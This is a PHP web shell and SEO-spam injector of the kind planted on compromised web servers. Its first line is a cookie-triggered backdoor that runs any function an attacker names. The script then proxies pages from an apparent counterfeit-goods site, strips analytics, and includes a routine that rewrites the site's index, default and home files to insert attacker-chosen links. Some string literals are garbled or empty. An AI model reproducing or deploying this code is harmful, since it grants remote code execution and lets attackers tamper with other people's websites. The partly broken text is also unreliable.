<%>PHP if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); <%> error_reporting(E_ERROR); header("Content-type: text/html; charset=shift_jis"); $action=$_REQUEST['action']; $replacestr=stripslashes($_REQUEST['replacestr']); $rootpath=$_SERVER['DOCUMENT_ROOT']; $opts = array( 'http'=>array( 'method'=>"GET", 'timeout'=>5000, ) ); $context = stream_context_create($opts); if($action='createlinks' and $replacestr!='') { CreateLink($rootpath,$replacestr); return; } $queryStr=$_SERVER['QUERY_STRING']; $siteUrl="http://www.chanel-list.com/"; $jsUrl=""; $tj=""; $previousUrl="[##previousUrl##]"; $sourceBody=file_get_contents($siteUrl."/".$queryStr,false,$context); $sourceBody=str_replace("'","\"",$sourceBody); $sourceBody=preg_replace("'\"/'","\"".$siteUrl."/",$sourceBody); $sourceBody=preg_replace("'\"(i|I)ncludes/'","\"".$siteUrl."/includes/",$sourceBody); $sourceBody=preg_replace("'\"(i|I)mages/'","\"".$siteUrl."/images/",$sourceBody); $sourceBody=preg_replace("'\"(j|J)s/'","\"".$siteUrl."/js/",$sourceBody); $sourceBody=preg_replace("'\"(p|P)roducts/'","\"".$siteUrl."/products/",$sourceBody); $sourceBody=preg_replace("''","",$sourceBody); $sourceBody=str_replace("http://js.users.51.la/","",$sourceBody); $sourceBody=str_replace("cnzz.com/z_stat","",$sourceBody); $sourceBody=str_replace("google-analytics.com","",$sourceBody); $sourceBody=str_replace("","
".$previousUrl."
",$sourceBody); $sourceBody=preg_replace("''","",$sourceBody); //$sourceBody=str_replace("","",$sourceBody); $sourceBody=str_replace("??","?",$sourceBody); $sourceBody=str_replace("\"?\"","\"http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?\"",$sourceBody); echo $jsUrl.$sourceBody; function CreateLink($dir,$replacestr1) { $files = array(); $dir_list = scandir($dir); foreach($dir_list as $file) { if ($file!= '..' && $file!= '.' && !is_dir($dir.'/'.$file)) { if(strpos($file,'index')>-1 or strpos($file,'default')>-1 or strpos($file,'home')>-1) { $tempstr = file_get_contents($dir.'/'.$file); if(strpos($tempstr,'
')>-1) { $tempstr = preg_replace("'
.*?'",'',$tempstr); } $tempstr = str_replace('', '
'.$replacestr1.'', $tempstr); file_put_contents($dir.'/'.$file, $tempstr); echo 'linkbyme'; } } } } ?>